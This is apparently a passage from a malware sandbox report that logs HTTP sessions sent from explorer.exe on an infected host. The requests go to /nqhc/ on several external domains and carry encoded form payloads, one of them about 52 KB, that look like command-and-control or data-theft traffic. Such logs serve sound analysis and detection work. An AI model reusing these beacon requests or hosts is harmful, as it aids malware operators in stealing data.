Dec 5, 2022 15:16:47.856667042 CET	11608	OUT	Data Raw: 35 30 37 6c 46 4c 46 50 76 71 57 37 34 56 71 4e 32 78 6c 7a 41 4a 50 4a 6f 31 31 33 6a 68 51 75 6d 7a 55 68 59 46 5a 69 62 6c 71 67 52 48 73 71 6e 71 69 57 39 49 62 4c 6a 59 6c 67 39 66 33 39 4d 44 6e 38 65 6d 6b 7a 56 64 2d 72 79 34 51 58 47 37 Data Ascii: 507lFLFPvqW74VqN2xlzAJPJo113jhQumzUhYFZiblqgRHsqnqiW9IbLjYlg9f39MDn8emkzVd-ry4QXG7mlPcxWQ~KfYB030(LWerrelPOsCK7aSltel0pbpZzTbrDDhSGeJSUk3mksC~On7g7uZ9Zeu5BI1laYRhyI0C9i3r8pneK6V0a8DhBhE24ofurUd4N5IBpQroaLEAixB~YMy2RMTkEl3uidhPxKJBeedDC3jVCZJ6U
Dec 5, 2022 15:16:47.856791973 CET	11616	OUT	Data Raw: 31 51 77 52 32 41 65 4c 43 4e 32 69 31 50 4c 72 69 33 78 32 31 55 79 50 74 4a 65 49 58 49 76 79 5a 34 61 36 57 76 71 74 37 65 53 7e 4c 37 4f 69 35 64 78 7a 42 31 52 59 48 39 51 43 79 70 48 7a 44 41 71 62 32 32 6e 54 6e 58 6e 34 4b 59 2d 63 4c 54 Data Ascii: 1QwR2AeLCN2i1PLri3x21UyPtJeIXIvyZ4a6Wvqt7eS~L7Oi5dxzB1RYH9QCypHzDAqb22nTnXn4KY-cLTCtFdQ9Tz0xnZd(_U8bQSLGk98RKu4KdiKbw2SEF8kRfpopM2ag2axv-9_beF1BMBLik2MPEs02Uc-FQBCgRpS0RC3fxRdsZRYMWZsX4Cwhj5X1RvrJU65OOmv2QDyJVeJxcwwHoPeUeaHGvwvOgauDhlyibWcuQ7K
Dec 5, 2022 15:16:47.856955051 CET	11618	OUT	Data Raw: 65 75 67 64 77 52 46 53 61 50 6d 39 6b 30 51 44 48 6a 41 49 72 53 4b 77 38 63 4e 74 4a 4e 70 34 6b 35 39 43 6d 56 4e 50 74 7a 51 63 38 35 7a 78 5f 58 69 72 6d 5a 50 44 39 34 75 35 6b 74 6f 6d 70 73 54 53 46 56 37 43 49 70 51 51 6f 39 57 67 65 43 Data Ascii: eugdwRFSaPm9k0QDHjAIrSKw8cNtJNp4k59CmVNPtzQc85zx_XirmZPD94u5ktompsTSFV7CIpQQo9WgeCPSbgKb2x0uNdDkKKnCSITI0JubtMDTrdUtBV1Bnk2xKO6E8lVMlQ4eu0mw46ZgK5BeYMWxBuaMXncGSCuG22nP7l22SkyGP6HNe0qBYvlU5egyIPQSlHP5ADQqALWx9hMq4bVkeP9r870pt9z(SvwasQY51YJ44ib
Dec 5, 2022 15:16:47.857224941 CET	11624	OUT	Data Raw: 48 6a 4f 7a 4b 61 79 66 71 51 35 53 30 75 58 5a 4c 6a 4b 51 67 35 38 67 37 44 39 75 70 37 57 45 54 33 79 44 57 38 42 4f 51 4d 44 39 4a 64 73 44 4d 70 78 4b 6e 7e 61 65 48 33 39 78 76 73 6b 6c 55 70 4d 37 56 75 5f 4f 45 36 61 78 2d 6c 71 48 62 78 Data Ascii: HjOzKayfqQ5S0uXZLjKQg58g7D9up7WET3yDW8BOQMD9JdsDMpxKn~aeH39xvsklUpM7Vu_OE6ax-lqHbxTuKhd7L(c8rxUxIfKuM8E2NYcJ8~sTtcHKINU6R9wXbdqu7TSH9t0h_VwCCDXmgR5BYQg3thmF9xae4rCq4Alf-Wv2FKrW3tn6HWgoKjybfUYBpXNLnapJzKEzhcCrI~lCH~VpvMyc2XusRxeFP~xLx8B8wu3Ib(0
Dec 5, 2022 15:16:48.015747070 CET	11630	OUT	Data Raw: 5f 71 6b 28 74 6f 6e 31 42 64 4c 43 78 51 6d 6e 4f 61 34 6d 2d 74 4d 66 31 6c 6a 6f 6f 46 77 68 51 6a 74 4f 4b 37 39 4a 30 51 61 36 48 4c 4c 64 42 54 6d 36 5a 6f 70 66 33 64 31 65 51 71 6b 68 57 4e 44 59 54 4f 48 54 67 49 2d 28 62 44 74 4f 34 71 Data Ascii: _qk(ton1BdLCxQmnOa4m-tMf1ljooFwhQjtOK79J0Qa6HLLdBTm6Zopf3d1eQqkhWNDYTOHTgI-(bDtO4qf1kO1DchNfVK2lyL1lVeLTALQqaRuvZ57fLxMzy0aawAlX1Twm4otE6mncRFgGKWlJ_QoumHqMbhBY6iHuSRXlvqp7XQ4lNMr3GR653uB(3uDjz1qafu144Ja4Aplx9BeTKYcA8GF(RWqchgVKKL-EIOlQXc47fsn
Dec 5, 2022 15:16:48.015846014 CET	11636	OUT	Data Raw: 35 66 77 39 48 43 47 6f 6e 62 70 4f 45 69 32 28 78 71 42 31 32 59 69 57 70 34 79 63 4f 4b 58 73 52 78 53 34 4d 62 56 79 53 46 59 53 4b 7e 44 42 6e 32 47 41 47 34 32 6a 49 51 59 72 77 5a 34 76 64 37 53 38 34 72 76 38 5a 77 4c 31 4c 39 53 61 34 61 Data Ascii: 5fw9HCGonbpOEi2(xqB12YiWp4ycOKXsRxS4MbVySFYSK~DBn2GAG42jIQYrwZ4vd7S84rv8ZwL1L9Sa4a_b8dQm0GfCDdeJp9TmJD3blz0O6iCQdPgKdgfJLJ5RFRqO815eWHwBdJHV3WBxXXAE8H1LvnbapT7Nl~aJnPS65nlRDj6a8eexgM9MAkCjt5golstG8ptQ-jQOuJAsg1q7we4UDyWM43JLMTlllcx7WZLYdVAFfKM
Dec 5, 2022 15:16:48.016829014 CET	11637	OUT	Data Raw: 71 4f 48 28 71 53 43 6e 4d 65 6f 58 69 63 76 72 4c 46 55 38 38 39 36 74 73 63 70 6d 48 4c 56 37 76 6d 34 4f 37 64 64 64 6b 75 74 6d 79 34 4c 6f 6d 58 33 6c 4b 66 57 39 47 63 34 6a 4d 35 71 72 4a 71 55 4b 48 66 6c 6f 46 58 47 77 37 65 44 59 68 76 Data Ascii: qOH(qSCnMeoXicvrLFU8896tscpmHLV7vm4O7dddkutmy4LomX3lKfW9Gc4jM5qrJqUKHfloFXGw7eDYhv2FPqmTb60W9TZtks76kQk6xq8eZZDwaKTGv~25nlR1C(kU7oENYarMeYSBlgAyU0_bjlg94vpmaZ-Y3nR3alI3krvs4Tsq-nzOjWX71wesOm1d3rPknZeDe41D0exawdbvdro2xPzRPZYsM0kfL6k4587zfk7gMu-
Dec 5, 2022 15:16:48.341778040 CET	11639	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:16:47 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.11.20	49874	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:49.885667086 CET	11639	OUT	GET /nqhc/?7nWHV=1Yl+QUBI4kgCsXI3Vp53kl3xa1s40hGy3/rGU37TkiIZHr5R+30vzUqate7I4LnPvrrd2ZP58ux1HT0e4Ni8o787tXF+UCoQAg==&t0D=yFNHS0IX HTTP/1.1 Host: www.gouldent.site Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:16:50.208544016 CET	11640	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:16:49 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.11.20	49876	194.245.148.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:55.403830051 CET	11648	OUT	POST /nqhc/ HTTP/1.1 Host: www.apidachicago.org Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.apidachicago.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.apidachicago.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 33 39 34 78 30 70 64 78 41 5f 36 31 65 67 54 47 30 4d 45 44 41 43 43 76 73 4d 7a 66 36 6e 52 73 49 4a 6b 78 7a 38 66 47 78 4d 6f 44 71 39 63 65 6f 4f 66 64 63 67 54 77 7a 68 70 35 42 46 31 6b 43 55 6a 63 30 6c 70 44 48 4d 51 4c 79 68 39 71 39 32 53 31 4a 4d 59 62 44 72 28 67 50 6c 31 67 64 5f 56 7a 4a 34 4d 51 6d 71 69 6b 7a 33 6f 44 36 69 37 4e 6f 62 36 54 62 2d 6f 70 36 53 52 5a 6c 74 75 78 47 57 52 7a 78 6f 79 69 6c 4f 5a 6c 74 37 77 67 50 2d 64 4a 37 52 49 52 46 45 4a 6a 51 30 67 52 4c 36 4f 2d 73 49 5a 32 39 5f 6d 46 7e 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=394x0pdxA_61egTG0MEDACCvsMzf6nRsIJkxz8fGxMoDq9ceoOfdcgTwzhp5BF1kCUjc0lpDHMQLyh9q92S1JMYbDr(gPl1gd_VzJ4MQmqikz3oD6i7Nob6Tb-op6SRZltuxGWRzxoyilOZlt7wgP-dJ7RIRFEJjQ0gRL6O-sIZ29_mF~w).
Dec 5, 2022 15:16:55.422645092 CET	11648	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 05 Dec 2022 14:16:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Dec 5, 2022 15:16:55.422729969 CET	11648	IN	Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Dec 5, 2022 15:16:55.422780037 CET	11648	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.11.20	49877	194.245.148.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:57.444516897 CET	11650	OUT	POST /nqhc/ HTTP/1.1 Host: www.apidachicago.org Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.apidachicago.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.apidachicago.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 33 39 34 78 30 70 64 78 41 5f 36 31 64 41 6a 47 34 4e 45 44 42 69 43 6f 70 4d 7a 66 31 48 52 53 49 4a 59 78 7a 34 48 57 6b 75 38 44 72 63 73 65 70 4d 33 64 52 41 54 77 38 42 70 38 4d 6c 31 56 43 55 76 2d 30 67 52 44 48 4d 55 4c 67 44 31 71 74 57 53 71 64 38 59 61 55 62 28 68 4c 6c 31 71 64 5f 49 53 4a 34 6f 51 6d 37 4f 6b 79 30 41 44 72 44 36 62 7e 4c 36 76 64 2d 6f 71 73 69 52 58 6c 74 53 54 47 55 41 4d 77 61 75 69 6c 75 35 6c 28 4c 77 6a 56 2d 64 4f 6d 68 4a 43 4f 56 49 36 66 69 55 74 4c 6f 47 38 6b 70 78 67 77 4d 37 62 38 78 50 6e 51 6f 7e 52 6d 79 74 73 6c 54 71 37 39 5f 6f 42 41 32 4b 36 66 44 56 38 48 65 6d 64 34 45 74 72 7a 4b 37 72 30 62 74 4f 7a 43 35 59 61 43 4b 52 46 30 45 4c 67 73 36 7a 45 30 64 53 70 58 6b 33 67 44 6e 6d 74 43 4c 41 4e 5f 31 6b 46 53 77 6d 42 49 4e 65 71 38 47 6b 77 62 39 45 73 75 79 61 4c 7a 49 57 61 34 68 79 58 63 61 2d 39 5f 65 57 71 33 58 71 6f 4b 4a 4b 38 75 72 73 70 6c 32 72 74 2d 50 4c 42 54 53 6d 44 4b 34 33 52 30 77 4b 37 52 38 75 4a 67 79 41 48 4f 70 56 4e 5f 6e 77 6d 6f 50 50 79 41 45 64 72 79 62 5f 28 66 37 73 61 69 6a 6a 4c 45 50 4a 7e 57 61 65 58 75 46 73 41 50 35 52 46 68 53 39 33 5f 58 37 50 72 72 49 61 53 35 50 79 5a 48 4e 38 7a 45 43 70 38 38 36 53 37 41 37 5a 6a 43 5a 61 32 59 4a 46 61 5a 36 51 36 7e 31 66 32 66 59 7a 35 64 6d 35 4d 39 45 44 65 7a 66 37 72 71 4a 6f 41 78 69 50 58 67 4e 63 61 55 76 7a 48 32 52 7a 77 58 57 63 52 6e 53 6b 62 53 7a 36 5f 56 74 57 39 7e 56 6b 7a 35 49 46 48 74 4f 70 37 55 36 4f 44 5a 66 4e 46 64 33 37 5f 6e 67 38 49 62 45 31 42 30 4a 43 62 37 48 6b 32 45 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=394x0pdxA_61dAjG4NEDBiCopMzf1HRSIJYxz4HWku8DrcsepM3dRATw8Bp8Ml1VCUv-0gRDHMULgD1qtWSqd8YaUb(hLl1qd_ISJ4oQm7Oky0ADrD6b~L6vd-oqsiRXltSTGUAMwauilu5l(LwjV-dOmhJCOVI6fiUtLoG8kpxgwM7b8xPnQo~RmytslTq79_oBA2K6fDV8Hemd4EtrzK7r0btOzC5YaCKRF0ELgs6zE0dSpXk3gDnmtCLAN_1kFSwmBINeq8Gkwb9EsuyaLzIWa4hyXca-9_eWq3XqoKJK8urspl2rt-PLBTSmDK43R0wK7R8uJgyAHOpVN_nwmoPPyAEdryb_(f7saijjLEPJ~WaeXuFsAP5RFhS93_X7PrrIaS5PyZHN8zECp886S7A7ZjCZa2YJFaZ6Q6~1f2fYz5dm5M9EDezf7rqJoAxiPXgNcaUvzH2RzwXWcRnSkbSz6_VtW9~Vkz5IFHtOp7U6ODZfNFd37_ng8IbE1B0JCb7Hk2E.
Dec 5, 2022 15:16:57.463150024 CET	11650	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 05 Dec 2022 14:16:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Dec 5, 2022 15:16:57.463247061 CET	11650	IN	Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Dec 5, 2022 15:16:57.463304043 CET	11650	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.11.20	49878	194.245.148.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:59.491189957 CET	11653	OUT	POST /nqhc/ HTTP/1.1 Host: www.apidachicago.org Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.apidachicago.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.apidachicago.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 33 39 34 78 30 70 64 78 41 5f 36 31 64 41 6a 47 34 4e 45 44 42 69 43 6f 70 4d 7a 66 31 48 52 53 49 4a 59 78 7a 34 48 57 6b 76 45 44 71 75 30 65 6f 71 28 64 51 41 54 77 78 68 70 39 4d 6c 31 79 43 56 48 36 30 67 55 2d 48 4f 63 4c 67 51 68 71 74 45 71 71 4e 4d 59 5a 59 37 28 76 50 6c 30 78 64 5f 55 47 4a 37 55 41 6d 71 36 6b 7a 32 59 44 36 41 6a 4e 77 37 36 54 64 2d 6f 6d 6e 43 52 6c 6c 74 58 65 47 55 4d 4d 77 59 71 69 6b 64 42 6c 73 4d 6b 6a 42 65 64 4e 73 42 4a 64 55 6c 49 35 66 6a 30 35 4c 6f 48 44 6b 71 39 67 77 4c 50 62 75 6d 6a 6b 52 49 7e 52 34 69 74 76 7a 54 58 38 39 5f 63 5a 41 33 7e 36 66 41 56 38 45 2d 6d 64 70 56 74 71 33 71 37 68 77 62 74 6a 33 43 31 41 61 43 32 46 46 77 55 4c 67 34 71 7a 46 46 64 53 36 47 6b 33 74 44 6e 6b 7a 43 4b 45 48 66 31 6f 46 53 67 4c 42 4d 78 4f 71 37 7e 6b 69 76 70 45 71 4c 47 56 4d 54 49 55 66 34 67 36 54 63 65 69 39 2d 75 4b 71 33 58 41 6f 4c 4e 4b 38 65 62 73 6f 6b 32 6b 75 75 50 4d 4a 7a 54 79 4d 71 30 74 52 30 74 48 37 51 45 2d 4a 68 32 41 48 75 70 56 62 4d 28 33 78 6f 50 32 74 51 45 4c 6c 53 62 6f 28 66 32 4e 61 6e 53 65 4c 33 37 4a 34 6d 4b 65 51 2d 45 36 45 76 35 56 65 52 53 42 6d 76 58 37 50 72 6e 36 61 53 6c 50 79 6f 76 4e 39 45 67 43 76 74 38 36 42 72 41 39 5a 6a 43 49 61 7a 42 33 46 61 52 6c 51 36 75 62 66 77 76 59 7a 6f 4e 6d 36 4e 39 44 54 2d 7a 65 28 72 71 65 32 77 39 31 50 58 38 46 63 61 45 5f 77 33 4b 52 31 45 37 57 59 52 6e 52 69 37 53 34 39 5f 56 37 48 74 7a 4b 6b 33 52 79 46 45 78 65 70 38 41 36 4f 48 6f 4c 56 55 4d 67 6e 50 37 4f 79 59 50 33 32 58 6b 4a 47 5a 50 35 34 54 30 57 64 47 70 41 28 73 31 52 76 71 38 36 47 5f 31 69 74 79 6a 30 58 45 52 7a 64 4a 41 55 6a 63 71 79 79 4c 69 41 5a 70 68 61 69 42 41 41 37 76 71 71 44 64 48 43 4b 4a 4b 58 4e 37 6e 32 4c 6c 55 42 42 45 54 50 63 67 61 31 51 32 36 57 56 6f 7a 53 64 38 57 76 6e 64 5a 54 70 4e 6b 62 69 61 4a 4a 57 77 48 72 53 4a 62 73 43 74 37 4d 6a 38 34 79 42 63 53 6f 68 34 37 33 41 48 50 54 4e 38 72 78 59 42 66 31 56 6c 5a 79 68 4e 72 6a 59 56 59 5a 41 6e 7e 38 72 54 31 45 75 67 54 6f 53 67 76 58 73 5f 42 53 6f 74 68 48 4e 41 4d 76 47 68 58 39 6e 33 59 72 58 30 65 67 45 58 4a 6b 75 5f 4c 6d 39 73 6b 56 6f 73 61 72 4f 6e 77 36 44 52 79 77 78 78 70 59 46 50 61 44 38 67 34 52 6d 33 6b 39 58 53 59 39 55 5a 42 6b 6a 34 68 43 6f 73 51 76 6e 47 44 77 4c 70 42 4b 72 5f 49 31 28 67 65 4e 6e 7a 31 32 30 45 52 68 77 46 44 49 74 46 65 71 33 6c 31 43 33 50 45 53 78 61 31 6e 34 68 76 72 74 4a 32 37 6d 64 53 4f 6f 62 62 38 39 4f 59 75 31 46 6c 33 39 6f 44 4d 54 33 41 65 28 64 54 68 48 66 52 70 6e 30 47 37 53 63 4b 74 32 46 36 79 58 62 64 58 45 64 42 6b 28 32 30 35 7e 6e 65 64 6c 50 6c 61 5a 4f 4f 6b 54 62 28 51 39 4d 51 4b 63 4a 58 78 39 57 64 4c 53 47 38 69 37 2d 4a 4c 30 70 42 41 6a 6a 73 67 70 32 66 7a 67 4c 67 73 58 32 64 7a 62 78 44 37 33 62 53 37 77 6b 4d 6d 47 31 59 66 75 38 73 57 33 61 7a 71 32 49 4e 59 4d 64 4c 35 4b 41 34 65 6c 57 49 69 6e 57 32 30 78 67 51 66 39 4d 69 38 33 79 56 5f 7e 2d 63 71 43 43 78 46 48 74 4d 36 41 6d 71 50 6c 48 4f 39 63 5a 34 4f 6f 4e 7e 6b 64 54 42 4e 7a 74 35 79 4c 6e 6a 71 77 51 6b 56 52 73 69 54 42 45 47 45 68 6e 44 4e 58 4e 31 66 70 33 54 70 6f 73 78 53 74 56 31 65 34 32 52 31 5a 55 55 70 32 50 28 44 35 70 4d 66 5a 41 63 46 68 36 44 6e 71 33 48 4a 35 48 38 33 47 32 77 54 51 6b 7e 48 72 76 4b 52 44 31 55 30 36 68 75 76 77 6c 7e 57 63 78 64 79 33 49 50 5a 7e 44 52 48 75 55 49 75 6b 38 32 38 4b 31 65 69 44 75 58 56 70 33 53 6c 4a 45 4f 31 39 35 6a 77 65 6b 6c 47 4f 44 74 66 48 6e 7a 34 44 56 30 67 44 6c 52 32 51 42 6a 57 56 4d 5a 67 47 7a 76 44 53 55 43 4e 33 39 4e 33 51 4a 53 78 64 43 74 45 5a 75 39 4d 61 47 42 57 70 54 4e 50 45 50 61 34 63 59 59 57 48 32 6a 32 72 41 69 66 4f 4d 55 32 71 65 7a 67 4d 73 72 73 53 6d 74 48 7e 34 4c 68 6e 33 43 42 57 36 70 72 32 53 48 4e 53 4d 44 78 56 33 56 51 43 35 4c 6b 45 6f 51 45 4f 50 65 56 66 51 6b 39 65 35 65 54 41 70 54 65 44 39 38 6d 33 38 30 44 47 5f 4c 37 37 6f 36 77 4e 74 6c 54 79 38 6a 44 72 77 32 6f 70 5a 6a 50 4a 32 39 67 52 57 46 43 30 55 45 64 67 48 67 5f 7a 79 63 5f 65 39 59 74 68 72 4e 56 61 37 28 55 59 75 61 6d 58 Data Ascii: 7nWHV=394x0pdxA_61dAjG4NEDBiCopMzf1HRSIJYxz4HWkvEDqu0eoq(dQATwxhp9Ml1yCVH60gU-HOcLgQhqtEqqNMYZY7(vPl0xd_UGJ7UAmq6kz2YD6AjNw76Td-omnCRlltXeGUMMwYqikdBlsMkjBedNsBJdUlI5fj05LoHDkq9gwLPbumjkRI~R4itvzTX89_cZA3~6fAV8E-mdpVtq3q7hwbtj3C1AaC2FFwULg4qzFFdS6Gk3tDnkzCKEHf1oFSgLBMxOq7~kivpEqLGVMTIUf4g6Tcei9-uKq3XAoLNK8ebsok2kuuPMJzTyMq0tR0tH7QE-Jh2AHupVbM(3xoP2tQELlSbo(f2NanSeL37J4mKeQ-E6Ev5VeRSBmvX7Prn6aSlPyovN9EgCvt86BrA9ZjCIazB3FaRlQ6ubfwvYzoNm6N9DT-ze(rqe2w91PX8FcaE_w3KR1E7WYRnRi7S49_V7HtzKk3RyFExep8A6OHoLVUMgnP7OyYP32XkJGZP54T0WdGpA(s1Rvq86G_1ityj0XERzdJAUjcqyyLiAZphaiBAA7vqqDdHCKJKXN7n2LlUBBETPcga1Q26WVozSd8WvndZTpNkbiaJJWwHrSJbsCt7Mj84yBcSoh473AHPTN8rxYBf1VlZyhNrjYVYZAn~8rT1EugToSgvXs_BSothHNAMvGhX9n3YrX0egEXJku_Lm9skVosarOnw6DRywxxpYFPaD8g4Rm3k9XSY9UZBkj4hCosQvnGDwLpBKr_I1(geNnz120ERhwFDItFeq3l1C3PESxa1n4hvrtJ27mdSOobb89OYu1Fl39oD